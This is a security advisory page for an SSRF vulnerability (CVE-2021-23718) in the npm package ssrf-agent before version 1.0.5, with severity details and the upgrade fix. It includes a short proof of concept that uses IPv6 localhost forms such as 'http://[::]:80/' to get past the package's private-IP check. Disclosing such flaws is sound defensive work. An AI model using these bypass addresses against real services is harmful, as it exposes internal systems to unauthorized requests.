Server-side Request Forgery (SSRF) Affecting ssrf-agent package, versions <1.0.5


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.2% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SSRFAGENT-1584362
  • published17 Nov 2021
  • disclosed13 Sept 2021
  • creditSayooj B Kumar

Introduced: 13 Sep 2021

CVE-2021-23718  (opens in a new tab)
CWE-918  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade ssrf-agent to version 1.0.5 or higher.

Overview

ssrf-agent is a prevent SSRF in http(s) request

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.

PoC by Sayooj B Kumar

// run a service on your localhost
const ssrfAgent = require('ssrf-agent');
const request = require('request');
// with request module
const url = 'http://[::]:80/'
/*
or http://0000::1:80/
*/
request(url, {
agent: ssrfAgent(url)
}, (err, response, body) => {
console.log(response);
})

References

CVSS Scores

version 3.1